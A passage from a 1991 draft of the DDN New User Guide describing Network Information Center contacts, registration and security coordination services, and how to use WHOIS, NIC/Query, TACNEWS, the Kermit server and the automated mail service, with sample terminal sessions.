NIC can connect you with +the Security Coordination Center. In addition, the NIC is happy to answer +questions about any other service outlined in this section. The NIC Help Desk +services are available from 7 a.m. to 7 p.m. (EST or EDT), Monday through +Friday. + + +6.1.2 NIC Host + +The NIC computer's hostname and network address are + + NIC.DDN.MIL + 192.112.36.5 + +NIC online services are available 24 hours a day, 7 days a week. + + +6.1.3 NIC Online Contacts + +The NIC supports several online mailboxes to provide assistance in specific +areas. This list is provided here for easy reference. The following sections +provide more detailed information regarding the type of inquiries each mailbox +handles. + + Type of Inquiry Network Mailbox + + General User Assistance NIC@NIC.DDN.MIL + TAC and Non-TAC User Registration REGISTRAR@NIC.DDN.MIL + Urgent Security Matters NIC-ALERT@NIC.DDN.MIL + Host, Domain, and Net Registration HOSTMASTER@NIC.DDN.MIL + NIC.DDN.MIL Computer Operations ACTION@NIC.DDN.MIL + Comments on NIC Publications, Services SUGGESTIONS@NIC.DDN.MIL + Security Concerns and Questions SCC@NIC.DDN.MIL + Usage-Sensitive Billing Questions BILLING@NIC.DDN.MIL + Automatic Mail Service SERVICE@NIC.DDN.MIL + Reporting NIC Software Bugs BUG-SERVICE@NIC.DDN.MIL + +DRAFT [Page 47] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +6.1.4 NIC U.S. Mail Address + +The current mailing address of the NIC is + + Network Information Center + 14200 Park Meadow Drive, Suite 200 + Chantilly, VA 22021 + + +6.2 NIC Services + +In addition to the user assistance Help Desk described in Section 6.1.1, the +NIC provides registration, billing, and security support services. + + +6.2.1 Network and User Registration Services + +The NIC registers the following network entities: + + * domains + * IP network numbers + * inverse addressing data + * Autonomous System Numbers (ASNs) + * hosts + * TACs/Mini-TACs + * gateways and PSNs + * some network-related organizations. + +MILNET host, TAC, gateway, and PSN registrations are coordinated with the +MILNET Manager. If you wish to register an IP network, domain, or ASN, +contact the NIC Help Desk for information regarding procedures. New users +seldom need to register these entities. + +Each individual who has TAC access to the DDN must be registered in the NIC +WHOIS database. Host Administrators register individuals in the database as +part of the process of authorizing TAC cards for them. However, any +individual with a working Internet electronic mail address can be registered +in the database. You will find it useful to be registered in this database +because it serves as an electronic white pages for DDN users. + + + +DRAFT [Page 48] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +To be registered in the NIC WHOIS database, you will need to fill out a copy +of the NIC registration template (Figure 6-1 below) and send it to the network +mailbox REGISTRAR@NIC.DDN.MIL. You may obtain this template via file transfer +(FTP) from the NIC.DDN.MIL machine (192.112.36.5 is the numeric host address) +using the pathname + + NETINFO/USER-TEMPLATE.TXT + +or you may enter the required information yourself. In addition to the +template, this file contains detailed instructions and samples to help with +completing the form. (Instructions for using FTP to copy/retrieve a file are +presented in Section 5.1.2, or you may consult your local FTP documentation.) + + + FULL NAME: Jones, James J. Last name, first name, middle initials + (no titles) + U.S. MAIL ADDRESS: NIC + Room 38C, Suite 200 + 14200 Park Meadow Drive + Chantilly, VA 22021 Complete address, including codes, mail + stops, etc. + + PHONE: (703) 802-4535 Give both commercial and DSN, if + available, e.g., (DSN) 123-4567 + + AUTHORIZING HOST: NIC.DDN.MIL Host address of host on which you have + your primary login account. + + PRIMARY LOGIN NAME: jjjones Name you log in with (username) + + PRIMARY NETWORK MAILBOX: + jjjones@NIC.DDN.MIL Network mailbox where your mail is + normally delivered. + + + Figure 6-1. User Registration Template + + + + + + +DRAFT [Page 49] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +6.2.2 Usage-Sensitive Billing Service Desk + +Since the advent of usage-sensitive billing on the DDN, the NIC has provided a +service to answer queries about bills charging for use of the DDN. This +support is aimed at those POCs who receive bills and have questions about +them. If you have a bill for DDN usage and have any questions about it, you +can contact the NIC Help Desk as described in Section 6.1.1 or send a message +to BILLING@NIC.DDN.MIL. + + +6.2.3 Security Coordination Center (SCC) + +The NIC is the site of the DDN Security Coordination Center (SCC). The SCC +acts in conjunction with the DDN Network Security Officer (NSO) to coordinate +actions related to security incidents and network vulnerabilities. The SCC +relays security-related information to the Network Security Officer (NSO) and +works with him/her in handling network security problems. In addition, the +SCC issues DDN Security Bulletins to network users. You can contact the SCC +in the following ways: + + By Electronic Mail: SCC@NIC.DDN.MIL + + By Phone: 1-800-365-DNIC (continental U.S.) + 1-703-802-4535 (outside U.S. and in the + D.C. metro area) + By FAX: 1-703-802-8376 + + By U.S. Mail: Network Information Center/SCC + 14200 Park Meadow Drive, Suite 200 + Chantilly, VA 22021 + +Phone hours are from 7 a.m. to 7 p.m., Eastern Standard or Eastern Daylight +Time. + + +6.3 NIC User Programs + +The NIC offers several online programs that DDN users may access to retrieve +various kinds of information. The WHOIS, TACNEWS, NIC/Query, and SERVICE +programs and their access procedures are described in this section. The NIC's +Kermit server is also described. + +DRAFT [Page 50] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +6.3.1 WHOIS/NICNAME + +WHOIS/NICNAME is the NIC program that looks up information in an electronic +"white pages" directory of network users. You can also obtain information on +hosts, TACs, domains, and other network entities from WHOIS. WHOIS lists the +name, network mailbox, U.S. mail address, telephone number, and host for each +user registered in its database. For other entities, it provides such +information as the domain name, a list of domain servers, domain contacts, +network numbers, network contacts, known hosts on a given network, Host +Administrators, Node Site Coordinators, and phone numbers and network mailbox +addresses for all contacts. + + +6.3.1.1 Accessing WHOIS + +Here are some instructions for accessing the WHOIS program from different +points of origin: + +From a TAC + + * Type @n. + + * After being greeted by the TAC banner, press and enter + your TAC userid and TAC Access Code when prompted. + + * After the NIC host banner and greeting are displayed, type WHOIS + . + + +From a DDN Host + + * Log onto your local host and TELNET to the NIC, e.g., + + telnet nic.ddn.mil + + or + + telnet 192.112.36.5 + + * After the NIC host banner and greeting is displayed, type WHOIS + . + +DRAFT [Page 51] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +Via Electronic Mail + + * From your login host, invoke the mail program and send a message to + + SERVICE@NIC.DDN.MIL + + * As the subject of the message (i.e., on the "Subject:" line), enter + WHOIS and the string you want the program to search on--e.g., + + Subject: whois nic.ddn.mil + + Any valid WHOIS search input string can be sent to the SERVICE + program. However, if the response is large, it will be split into + several return messages. If it is very, very large, it may exceed + the capacity of the Mail server, but most search outputs are well + within its limits. + +You may also run the WHOIS/NICNAME program from a local host if you have one +of the several WHOIS/NICNAME user programs that are available for various +operating systems. Contact the NIC if you are interested in obtaining such a +program. + + +6.3.1.2 Using WHOIS + +To use WHOIS, you can supply either the name or the NIC "handle" of the person +or entity you are trying to identify. The handle is a unique identifier that +the NIC assigns to each entity registered in its database. Partial searches +on the first part of a name are also possible. + +The WHOIS program accessible on the NIC host also recognizes certain keywords. + +These keywords are inserted in the search string before the entity for which +you want information. They tell WHOIS to limit its search to certain kinds of +records--such as host records only, or domain records only. Such keywords can +increase the speed of a search. Some of the keywords that the NIC host's +WHOIS program recognizes are as follows: + + DOM for domain records + GA for gateway records + HO for host records + NET for network records + PSN for PSN records + TAC for TAC records. + +DRAFT [Page 52] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS is not case sensitive. Some of the examples that follow use keywords +and some do not. Those that do use keywords assume that you have used TELNET +to connect to the NIC.DDN.MIL for access to their WHOIS program. For a +complete list of keywords and examples of how to use them, simply type help or +a question mark (?) at the WHOIS prompt, e.g., + + Whois: help + +WHOIS responds to your query in one of three ways: + + 1. If WHOIS finds a unique record for the individual/entity you have + identified as the subject of the search, it immediately displays + the following information: + + * the name + * the NIC handle + * the organization (if applicable) + * the mailing address + * the phone number + * the network mailbox. + + 2. If WHOIS finds several records that match the search input, it + displays a brief list of the matching entries and asks you to choose + the correct match by using the handle (a unique character string in + parentheses following the name). A search by handle produces the + expanded output for the matching entity. + + 3. If no record matches the search input, WHOIS displays the message + "No match for ," where username is the search string + entered. + +The following examples illustrate some of the WHOIS capabilities. For more +information on using WHOIS, connect to the NIC host and type "whois help". + + +6.3.1.3 WHOIS Search Examples + + [NOTE: The names, addresses, phone numbers, and other information + shown in the following examples are meant to be representative only; + they are not necessarily actual or accurate data and should not be + used for contacting any of the entities/persons so identified!] + +DRAFT [Page 53] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS Search by Name + + SunOS UNIX (nic) + + -- DDN Network Information Center -- + * + * For TAC news, type: TACNEWS + * For user and host information, type: WHOIS + * For NIC information, type: NIC + * + * For user assistance call (800) 365-3642 or (800) 365-DNIC or + (703) 802-4535 + * Report system problems to ACTION@NIC.DDN.MIL + + NIC, SunOS Release 4.1.1 (NIC) #1: + Thu Sep 26 14:11:08 1991 EST + @ whois roscoe (There is only one "Roscoe," so a + complete entry is displayed for him.) + Connecting to id Database . . . . . . + Connected to id Database + + ROSCOE, Joe A. (JAR) JROSCOE@HOST-1.DOMAIN.MIL + Air Force Data Systems + Design Center/SDTS + Willits Air Force Base, W. Va. 12345 + Phone: (123) 456-7890 + MILNET TAC User + + Record last updated on 31-Oct-90 + + + + + + + + + + + + + +DRAFT [Page 54] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS Search by Partial Name + +You may search using only a partial name as the search string by entering the +partial name followed by one to three dots (...). This search feature will +work only if the dots follow the partial name without any intervening spaces. +This kind of search is apt to produce multiple "hits" (hits are entries that +match a given search string). + +Note that the partial name search also finds any NIC handles that begin with +the partial name input ("ros" in the example below). + + @ whois ros... + + Rosati, David (DR16) Rosati@BAR.FOO (234) 567-8901 + Rosales, Alphonso L. (ALR) Rosales@NIC.DDN.MIL (345) 678-9012 + Roscoe, Joe A. (JAR) Roscoe@HOST-1.DOMAIN.MIL (123) 456-7890 + . + . + . + Schuman, Richard O. (ROS) Schuman@FOO.BOO.Com (456) 789-0123 + + There are 25 more entries. Show them? + + +To obtain all the information pertaining to any of the names identified by the +search, do a WHOIS search on the handle (the text in parentheses immediately +following the name); this will produce a full entry. + + + + + + + + + + + + + + + +DRAFT [Page 55] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS Search by Handle + +If a WHOIS search produces multiple hits on your query, search by the unique +handle to get the full entry of the hit you want to display. Precede the +handle with an exclamation point. Users on hosts running a UNIX operating +system may need to precede the exclamation point with a backslash (\). + + @ whois !jar (Jar is the handle for ROSCOE.) + + ROSCOE, Joe A. (JAR) JROSCOE@HOST-1.DOMAIN.MIL + Air Force Data Systems + Design Center/SDTS + Willits Air Force Base, W. Va. 12345 + Phone: (123) 456-7890 + MILNET TAC User + + Record last updated on 31-Oct-90 + + + +WHOIS Search by Hostname + +If you know a hostname and need to obtain the host address, you may use WHOIS +to look it up by typing your input as shown in the following example: + + + NIC, SunOS Release 4.1.1 (NIC) #1: + Thu Sep 26 14:11:08 1991 EST + @ whois ddn-conus.ddn.mil (User enters known host- + Connecting to id Database . . . . . . name after connecting to + Connected to id Database the NIC host and types a + ^E 14:13:03 -- No matches yet in 0 searches. ^E to see how the search + is progressing.) + BBN INC. (DDN1) + 1300 North 17th Street + Arlington, VA 22209 + + Hostname: DDN-CONUS.DDN.MIL + Nicknames: DDN1.DCA.MIL,DDN.DCA.MIL + Address: 26.21.0.17 + System: BBN-C/70 running UNIX + +DRAFT [Page 56] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS Search by Hostname, continued... + + + Host Administrator: + Bolden, Michelle L. (Shelly) (MLS6) Bolden@BBN.COM + (703) 284-4600 + + Record last updated on 05-Sep-91. + + Would you like to see the registered users of this host? y + + There are 202 registered users: + + Adams, Quentin (QAA1) nsc-robins@DDN-CONUS.DDN.MIL + (912) 926-6912 (DSN) 468-6912 + Agney, Violet (VA24) NSCElmen@DDN-CONUS.DDN.MIL + (907) 552-4919 (DSN) 317-552-4919 + Agnor, Robert J. (RJA25) NAVTELCOM@DDN-CONUS.DDN.MIL + (202) 282-0824 (DSN) 292-0824 + Atkinson, Barry K. (BKA) DIA-RSE@DDN-CONUS.DDN.MIL + (703) 284-0801 (DSN) 251-0801 + Bailey, Erich (EB68) NSC-Presidio@DDN-CONUS.DDN.MIL + (415) 561-2241 (DSN) 586-2241 + There are 197 more matches. Show them? n + Enter a handle, name, mailbox, or other field, optionally preceded + by a keyword, like "host sri-nic". Type "?" for short, 2-page + details, "HELP" for full documentation, or hit RETURN to exit. + ---> Do ^E to show search progress, ^G to abort a search or output <--- + + + +Note that this search produces the hostname, the host address, and the name +and phone number of the Host Administrator. Pressing will produce a +list of the people registered with the NIC as users of that host. You will +find the same information if you know the host address or nickname and search +on one of those instead of the official hostname. + + + + + + +DRAFT [Page 57] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS Search by TAC Name + +You may use WHOIS to obtain a TAC telephone number if you know the name of the +TAC. A search by TAC name will also show contact information on the Node Site +Coordinator for the TAC. Follow the example below to do this type of search. + + + Enter a handle, name, mailbox, or other field, optionally preceded + by a keyword, like "host sri-nic". Type "?" for short, 2-page + details, "HELP" for full documentation, or hit RETURN to exit. + ---> Do ^E to show search progress, ^G to abort a search or output <--- + + Whois: tac belvoir.mt.ddn.mil + Fort Belvoir (BELVOIR-MIL-TAC) + Army Information Systems Command (USAISC) + Building 246, Room 202, 2nd Floor + Fairfax, VA 22060 + + (703) 781-0050 (R8) [300/1200 bps] {B} + (703) 781-0100 (R8) [300/1200 bps] {B} + + Hostname: BELVOIR.MT.DDN.MIL + Address: 26.0.0.142 + TAC number: 162 + Hardware: C/30 + + Coordinator: + Jewell, Brenda K. (BJ53) NSCBelvoir@DDN-CONUS.DDN.MIL + (703) 664-3458 (DSN) 354-3458 + + Record last updated on 22-Jun-90. + + + + + + + + + + + +DRAFT [Page 58] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +WHOIS Search by PSN Number + +You may use WHOIS to search by node (PSN) number. The output from this search +will show the usual POC information as well as a list of the hosts connected +to that node that are registered with the NIC. + + Whois: psn 202 + GSI (CHANTILLY2-IMP) + 14200 Park Meadow Drive + Chantilly, VA 22021 + + CHANTILLY2 is PSN/IMP 202 on network 26 + + Coordinator: + Zalubski, John (JZ7) zalubskij@NIC.DDN.MIL + (703) 802-8462 + + Record last updated on 04-Sep-91. + + No hosts found on this PSN. + + + Whois: psn 201 + GSI (CHANTILLY-IMP) + 14200 Park Meadow Drive + Chantilly, VA 22021 + + CHANTILLY is PSN/IMP 201 on network 26 + + Coordinator: + Zalubski, John (JZ7) zalubskij@NIC.DDN.MIL + (703) 802-8462 + + Record last updated on 04-Sep-91. + + Hosts on this PSN: + + CHANTILLY1.MT.DDN.MIL 26.0.0.201 + NIC1.DDN.MIL 26.1.0.201 + SUN1.DDN.MIL 26.24.0.201 + GSI-GW1.DDN.MIL 26.25.0.201, 192.112.36.1, + 192.112.37.1, 192.112.38.1 + +DRAFT [Page 59] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS Search by Network Number + +You may use WHOIS to search by network number. To search for information +about a Class C network, make sure the last octet in the network number is +zero. To search for a Class B network, make sure that the last two octets are +zero. See section 8.4 for a discussion of network addresses and classes. + + + Whois: 192.112.36.0 + Government Systems, Inc. (NET-LOCALNET) + 14200 Park Meadow Drive, Suite 200 + Chantilly, VA 22020 + + Netname: LOCALNET + Netnumber: 192.112.36.0 + + Coordinator: + McCollum, Robert (RM584) bobm@NIC.DDN.MIL + (703) 802-8476 + + Domain System inverse mapping provided by: + + NIC.DDN.MIL 192.112.36.5 + NIC-DEV.DDN.MIL 192.112.38.89 + + Record last updated on 14-Aug-91. + + Would you like to see the known hosts on this network? y + + There are 2 known hosts: + + NIC.DDN.MIL 192.112.36.5 + GSI-GW1.DDN.MIL 26.25.0.201, 192.112.36.1, + 192.112.37.1, 192.112.38.1 + + + +The user can enter "y" for yes or simply press to see a list of hosts +registered with the NIC as part of this network. + + + +DRAFT [Page 60] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +WHOIS Search by Domain Name + + + Whois: dom dca.mil + Defense Information Systems Agency (DCA-DOM) + + Domain Name: DCA.MIL + + Administrative Contact, Technical Contact, Zone Contact: + Hostmaster (HOSTMASTER) HOSTMASTER@NIC.DDN.MIL + (800) 365-DNIC (703) 802-4535 + + Record last updated on 18-Sep-91. + + Domain servers in listed order: + + NS.NIC.DDN.MIL 192.67.67.53 + A.ISI.EDU 26.3.0.103, 128.9.0.107 + C.NYSER.NET 192.33.4.12 + TERP.UMD.EDU 128.8.10.90 + NS.NASA.GOV 128.102.16.10, 192.52.195.10 + AOS.BRL.MIL 192.5.25.82 + + Would you like to see the known hosts under this secondary domain? y + + There are 60 known hosts: + + ANTARES.DCA.MIL 128.19.0.14 + BELLATRIX.DCA.MIL 128.19.0.5 + C4SD.DCA.MIL 26.8.0.76 + CMMC-BBN.DCA.MIL 26.18.0.70 + CMMC-IMW.DCA.MIL 26.29.0.76 + There are 55 more matches. Show them? n + Whois: + + +As you can see, domain searches allow you to identify the hosts providing name +service for the domain, as well as the names and phone numbers of the +administrative and technical contacts for the domain (in this case, the NIC +Hostmaster group). + + +DRAFT [Page 61] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +6.3.2 NIC/QUERY + +NIC/Query is a browsing service that allows you to page through general +information about the Defense Data Network (DDN). Topics included under +NIC/Query are presented in a numbered menu. All the services of the TACNEWS +program are also available via NIC/Query for the sake of simpler user +accessibility. + +The program is largely self-explanatory, and online help is available if you +need it. You do not need a login account on the NIC machine for access. To +access NIC/Query, simply open a TELNET connection to NIC.DDN.MIL, and then +type "nic" or "query", as shown below. + + + @ nic + NIC/Query Version: 1.4 Thu, 26 Sep 91 14:27:13 + + Stop output every 24 lines? ([Y]/N/# of lines) y + ROOT + + Use NIC/Query to access a hierarchy of information about the Defense + Data Network (DDN) and the Network Information Center (NIC) using simple + menus. Bugs to BUG-QUERY@NIC.DDN.MIL. + + ** + ** Note that a carriage return is required after every command. + ** Select menu item 1 for help using this program. + ** + + 1) HELP -- Introduction, changes, detailed help, help summary. + 2) WHOIS -- Directory of DDN users. + 3) HOSTS -- Describes DDN hosts. + 4) PROTOCOLS -- Describes DDN protocols. + 5) RFCS -- Requests For Comments technical notes. + 6) NIC DOCUMENTS -- Documents available from the NIC. + 7. TACNEWS -- TACnews program. + + ROOT: Enter a menu# (1 - 7), or a command ('?' to list). + NIC/Query: 1 + HELP -- Introduction, changes, detailed help, help summary. + + +DRAFT [Page 62] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +NIC Query Example, continued... + + + 1. INTRODUCTION -- An introduction to the NIC/Query system. + 2. CHANGES -- Differences from the old version of NIC/Query. + 3) NOVICES -- Detailed help for new users. + 4. HELP SUMMARY -- Brief description of NIC/Query concepts and + commands. + + HELP: Enter a menu# (1 - 4), or a command ('?' to list). + NIC/Query: 1 + + +In the example above, the user asks for help at the "NIC/Query:" prompt. A +submenu is presented so he can select the level or type of information he +wishes to have displayed. + + +6.3.3 TACNEWS + +TACNEWS is a NIC online service that offers login help to TAC users. It also +offers access to the interactive TAC locator program that allows you to find +the three TAC phone numbers closest to a phone number you enter. TACNEWS +provides a mechanism for reading the DDN Newsletters, DDN Management +Bulletins, and DDN Security Bulletins. Users should read these publications +regularly to stay current on DDN policies, announcements, and network news +items. Access TACNEWS by logging into a TAC and typing "tacnews", as shown in +the example on the next page: + + + + + + + + + + + + + + +DRAFT [Page 63] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + @n + TAC Userid: Enter your TAC Username here. + Access Code: Enter your TAC Access Code. It + will not echo on screen. + Login OK + TCP Trying...Open + Trying 192.112.36.5 ... + Connected to NIC.DDN.MIL. + Escape character is '^]'. + + * -- DDN Network Information Center -- + * + * For TAC news, type: TACNEWS + * For user and host information, type: WHOIS + * For NIC information, type: NIC + * + * For user assistance call (800) 365-DNIC or (703) 802-4535 + * Report system problems to ACTION@NIC.DDN.MIL or call + (703) 802-4535 + @ tacnews + TACnews Version: (xxxx.xxx) Thu, 26 Sep 91 14:30:14 + + Stop output every 24 lines? ([Y]/N/# of lines) y + 1. Announcements -- Updated 11-Jul-91 + 2. TACs, List of U.S. TAC Dial-Ins, 23K + 3. Locator, Finds U.S. TAC Dial-Ins + 4. Eur/Pac, List of European/Pacific TAC Dial-Ins, 15K + 5. Login, Help with TAC login, 6K + 6. Newsletters, DDN -- Updated 16-Sep-91 + 7. Bulletins, DDN Management -- Updated 16-Sep-91 + 8. Bulletins, DDN Security -- Updated 16-Sep-91 + + Type a menu number (1 - 8), ? for options, "HELP" for instructions. + TACnews: 7 + There are 30 Bulletins online. The latest: + . + 80 21-Dec-90 REGISTRATION OF IP NETWORK NUMBERS + 81 9-Apr-91 MTACs Operational with Limited Monitoring and + Control Capability + --> 82 23-Apr-91 Corrected MTACs Operational with Limited + Monitoring and Control Capability + Type an issue number (22 - 82), ? for options, or "HELP" for full help. + TACnews: 82 + +DRAFT [Page 64] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Alternatively, you may open a TELNET connection to NIC.DDN.MIL from a local +host to read TACNEWS, as shown in the following example: + + % telnet nic.ddn.mil + Trying 192.112.36.5 ... + Connected to nic.ddn.mil. + Escape character is '^]'. + + SunOS UNIX (nic) + + -- DDN Network Information Center -- + * + * For TAC news, type: TACNEWS + * For user and host information, type: WHOIS + * For NIC information, type: NIC + * + * For user assistance call (800) 365-3642 or (800) 365-DNIC or + (703) 802-4535 + * Report system problems to ACTION@NIC.DDN.MIL + + NIC, SunOS Release 4.1.1 (NIC) #1: + Thu Sep 26 14:11:08 1991 EST + @ tacnews + TACnews Version: (xxxx.xxx) Thu, 26 Sep 91 14:30:14 + + Stop output every 24 lines? ([Y]/N/# of lines) y + + 1. Announcements -- Updated 11-Jul-91 + 2. TACs, List of U.S. TAC Dial-Ins, 23K + 3. Locator, Finds U.S. TAC Dial-Ins + 4. Eur/Pac, List of European/Pacific TAC Dial-Ins, 15K + 5. Login, Help with TAC login, 6K + 6. Newsletters, DDN -- Updated 16-Sep-91 + 7. Bulletins, DDN Management -- Updated 16-Sep-91 + 8. Bulletins, DDN Security -- Updated 16-Sep-91 + + Type a menu number (1 - 8), ? for options, "HELP" for instructions. + TACnews: + + + + +DRAFT [Page 65] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +TACNEWS services are also available via the NIC/Query program; this redundancy +allows users connecting to the NIC via TELNET to take advantage of all +services in a single connection session. + +If you wish to have newsletters and bulletins delivered online to your network +mailbox, send a message to REGISTRAR@NIC.DDN.MIL including your name and +address and indicating that you wish to be on the online distribution for the +newsletters and bulletins. + + +6.3.4 NIC Kermit Server + +For PC users who cannot access FTP from their hosts, the NIC has an anonymous +Kermit server available. (A server is a software module that provides a +service to users or user programs that request it.) You should be familiar +with the Kermit file transfer protocol and have a PC communications program +that supports that protocol before you attempt to transfer documents with it. + +To download a file from the NIC using the Kermit server, proceed as follows: + + 1. Set the receive packet size on your PC Kermit to 60. + + 2. Connect to NIC.DDN.MIL (192.112.36.5) through a TAC or Mini-TAC. + + 3. Once you get the NIC login prompt (@), change the TAC intercept + character to a control-y (^y) by issuing the following TAC command: + + @i 25 + + Notice that you must type the "@" symbol because it signals the TAC + that you are issuing a command. + + 4. Press to get the NIC prompt (@ is now the NIC prompt + symbol), then type + + kermit + + This command activates the Kermit server on the NIC. + + 5. Drop back to your PC Kermit and get the file that you want from + the NIC. + +DRAFT [Page 66] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + 6. When you are finished, type "bye" to end the Kermit session on + your PC. + +For more information on using Kermit through a TAC, see the files KERMIT- +TAC-INFO.TXT and KERMIT-NICSERVER.TXT in the NETINFO/ directory on the +NIC.DDN.MIL host. These files are also available via the SERVICE mail server +(see Section 6.3.5). + + +6.3.5 NIC Automated Mail Service + +SERVICE is an automated electronic mail system provided by the DDN Network +Information Center. It allows access to most online NIC documents and +information via electronic mail. + +To use the mail service, send a message to SERVICE@NIC.DDN.MIL. In the +SUBJECT field, enter the type of service you are requesting, followed by any +arguments needed to further define your request. The message body is normally +ignored; however, if you leave the SUBJECT field empty, the first line of the +message body is used as the request. If your request involves the +transmission of large files, they are broken into smaller, separate messages; +however, a few files are too large to be sent through the mail system. +SERVICE requests are processed automatically once a day. + +The following services are currently available. Each item on the list is +followed by an example of a subject line for requesting that service: + + HELP This message; a list of current services. + Subj: HELP + + RFC nnnn nnnn is the RFC number. + Subj: RFC 822 + + RFC Index Retrieves the index of RFCs. + Subj: RFC INDEX + + IEN nnn nnn is the IEN number or the word INDEX. + Subj: IEN 828 + + + + +DRAFT [Page 67] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + NETINFO xxx xxx is a file name or the word INDEX. + Subj: NETINFO DOMAIN-TEMPLATE.TXT + + SEND xxx xxx is a fully specified file name. + Subj: SEND IETF/1WG-SUMMARY + Subj: SEND INTERNET-DRAFTS/DRAFT-IETF-IWG-BGP-OO.TXT + + HOST xxx Returns information about host xxx. + Subj: HOST NIC.DDN.MIL + + INDEX Returns the master list of available index files. + + FYI nnn Returns the specified FYI document, where nnn is the + FYI number or the word INDEX. + Subj: FYI 1 + + WHOIS xxx Returns information about xxx from the WHOIS service. + Use "WHOIS HELP" for information on using WHOIS. + Subj: WHOIS MCCOLLUMB + + +6.4 Documents Published by the NIC + +The NIC compiles, edits, and publishes the documents listed below, all of +which are available online. The file NIC-PUBS.TXT in the NETINFO/ directory +on NIC.DDN.MIL contains an expanded, annotated list of NIC publications that +are currently available either online or in hardcopy. Many of these documents +are deposited at the Defense Technical Information Center (DTIC), where they +are available to military network users. Hardcopies of documents and RFCs are +also available from the former NIC, SRI International in Menlo Park, CA. +Contact SRI for prices and ordering information. (Ordering instructions are +also provided in the online file NIC-PUBS.TXT.) You may contact the NIC to +confirm document availability or to learn about newly available documents. + + +THE DDN NEW USER GUIDE + The document you are reading. A brief guide to DDN network tools and + services designed to introduce users to the network. The Guide is + available online as NETINFO/NUG.DOC. + + + +DRAFT [Page 68] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +THE NETWORK PROTOCOL IMPLEMENTATIONS AND VENDORS GUIDE + The Vendors Guide lists software and hardware implementations of the + DDN protocols, based upon information supplied by vendors. This + document is for informational purposes only. Entry on this list does + not imply endorsement. Available online as NETINFO/VENDORS-GUIDE.DOC. + + +RFCs (Copies only via FTP) + Requests for Comments, or RFCs, are network technical notes, each of + which is identified by a unique number. The RFCs are available online + via anonymous FTP as RFC/RFCnnnn.txt (where nnnn is the RFC number). + RFCs are available in hardcopy from SRI International, Menlo Park, CA. + + +6.5 Online Reference Files at the NIC + +Several public files on the NIC.DDN.MIL host are of special interest to +network users. The pathnames and brief descriptions of some of these files +are listed below. You may retrieve these files via FTP (using USERNAME +anonymous, PASSWORD guest). See Section 5.1.2 for FTP instructions. You may +also obtain the files by electronic mail using the NIC Mail SERVICE program +(see Section 6.3.5) or via the NIC Kermit Server (see Section 6.3.4). + +NETINFO/MIL-NSC.TXT + Node Site Coordinators for each node or PSN on the MILNET. + + +NETINFO/HOSTS.TXT + Official Internet DoD Hostname Table, which lists the names and numbers + of domains, networks, gateways, and hosts on the DoD Internet. It is + designed to be machine readable. From this file, two additional files + are generated: + + HOSTS.TXT-Z, a UNIX compressed version of the HOSTS.TXT file, and + MIL-HOSTS.TXT, a complete listing of the MILNET hosts in HOSTS.TXT. + + +NETINFO/HOST-LOCATION.TXT + Addresses of MILNET hosts locations, sorted geographically. + +DRAFT [Page 69] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +NETINFO/HOSTSERVER-INSTRUCTIONS.TXT + Instructions for using the NIC's hostname server to transfer the host + table. + + +NETINFO/MIL-HOST-ADMINISTRATORS-A-L.TXT + Military Host Administrators "A" through "L," sorted by hostname. + + +NETINFO/MIL-HOST-ADMINISTRATORS-M-Z.TXT + Military Host Administrators "M" through "Z," sorted by hostname. + + +NETINFO/NIC-PUBS.TXT + Information about publications available from the NIC. + + +NETINFO/NUG.DOC + Online version of this document. + + +NETINFO/WHAT-THE-NIC-DOES.TXT + General information regarding NIC services. + + +NETINFO/USER-TEMPLATE.TXT + Template for users who want to be registered in the WHOIS database. + + +NETINFO/TAC-LOCATION.TXT + Geographic location of each TAC. This file is useful for locating the + TAC closest to you. + + +NETINFO/USA-TAC-PHONES.TXT + Phone numbers for TACS within the fifty states. + + +NETINFO/FOREIGN-TAC-PHONES.TXT + Phone numbers for TACs outside the U.S. + + +DRAFT [Page 70] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +NETINFO/DOMAIN-CONTACTS.TXT + Name, mailbox, and phone number for each domain contact registered with + the NIC. + + +NETINFO/NETWORK-CONTACTS.TXT + Name, mailbox, and phone number for each network contact registered with + the NIC. The NIC registers all IP networks and designates a contact for + each one. + + +NETINFO/00NETINFO-INDEX.TXT + Name and a brief description of each file available in the publicly + accessible NETINFO directory on the NIC host. + + +NETINFO/KERMIT-INFO.TXT + General information on the Kermit program. + + +NETINFO/KERMIT-NICSERVER.TXT + Specific information on the NIC Kermit server. + + +NETINFO/KERMIT-TAC-INFO.TXT + Specific information on TAC usage with Kermit. + + +PROTOCOLS/GOSIP-V1.DOC + Version 1 of the GOSIP document. + + +PROTOCOLS/GOSIP-ORDER-INFO.TXT + Descriptions of GOSIP-related documents and information on how to obtain + them. + + +RFC/RFCnnnn.TXT, where nnnn is the RFC number + Network technical notes, known as Requests for Comments, or RFCs, are + online in the directory RFC/ on the NIC.DDN.MIL host. New RFCs are + announced to network users via an online distribution list maintained + by the NIC. Individuals who want to be added to the RFC notification + list should send a message to RFC-REQUEST@NIC.DDN.MIL. + +DRAFT [Page 71] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + + +RFC/RFC-INDEX.TXT + Lists all RFCs in reverse numerical order, with the most recent 